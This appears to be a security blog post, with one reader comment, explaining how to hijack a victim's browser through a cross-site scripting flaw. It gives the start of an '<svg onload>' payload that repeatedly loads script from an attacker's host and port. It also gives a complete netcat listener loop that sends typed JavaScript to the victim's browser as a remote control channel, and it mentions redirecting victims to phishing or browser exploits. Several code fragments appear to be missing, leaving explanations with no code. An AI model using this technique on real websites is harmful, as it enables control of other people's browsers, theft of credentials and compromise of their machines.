Using XSS to Control a Browser

One of the greatest, yet overlooked, dangers of a XSS flaw is the possibility of control of the victim’s browser by an attacker.

Even if there’s no sessions or cookies to steal on a target website (or they are protected by HttpOnly), our XSS code can be used to redirect the victim to another website that can phish credentials or launch exploits against the browser and thus compromise the machine.

This control can be achieved quite easily without the need of any special tool, using just a Unix-like (linux and iOS, for examples) terminal and a common network utility, netcat (for some systems it’s not even necessary).

We need 2 pieces of code. The first one is the XSS payload to be injected into the target website:

<svg onload=setInterval(function(){d=document;

Using our classic <svg onload> XSS vector, we have the following as the javascript payload (by logical parts):

setInterval(code, 0)

A javascript function to make the code run at intervals of time (in our case, 0). Needed to keep the connection alive.


We are grouping our steps (code) in a js function in order to make the setInterval() work.


Just an assignment to shorten the code.


The creation of a script element. Equals to document.createElement(“script”) because of the previous assignment.


Now we assign a source to the script element with a pair HOST:PORT (HOST as domain or IP), the ones from the machine which will be used to control the browser.


The element is appended to the body of the current HTML document.

This code creates dynamically a script element on the page that will use attacker’s host and port as a source to execute javascript code, regularly.

Although less understandable, it can be shortened a little bit more (7 bytes less):



The second code is meant to be run on the terminal ($) of the attacker’s machine:

$ while :; do printf “j$ “; read c; echo $c | nc -lp PORT >/dev/null; done

It sets the listening on the PORT number (-lp) making use of netcat (nc) and redirecting the output (browser requests) to nowhere (>/dev/null). This is done in an endless loop (“while :” and “done”), printing the pseudo command prompt (j$) and reading the input from keyboard (read c) to feed the netcat listener (echo $c with the pipe to nc).

Once the XSS payload gets execution, the browser fires a request to our host:port looking for a source to the script element recently created. Then, the command piped to netcat becomes the response of this request, with javascript code to be executed. As a new script element is created by setInterval() each 0 millisecond and the netcat loop is always ready to send a new source, we have an interactive stateless connection to remote control the client.

With these 2 pieces working, all we need is to type javascript commands like “alert(1)” in the pseudo prompt to make it run on victim’s browser:


P.S.: when copy and paste these codes, delete and type the quotes again because they will not work in their current format of this blog theme.

6 thoughts on “Using XSS to Control a Browser

  1. Excellent and method to show POC instead of using BeeF, which can be buggy sometimes. No offense to BeeF devs, it a great tool 🙂 thanks a lot Brutelogic.

Leave a Reply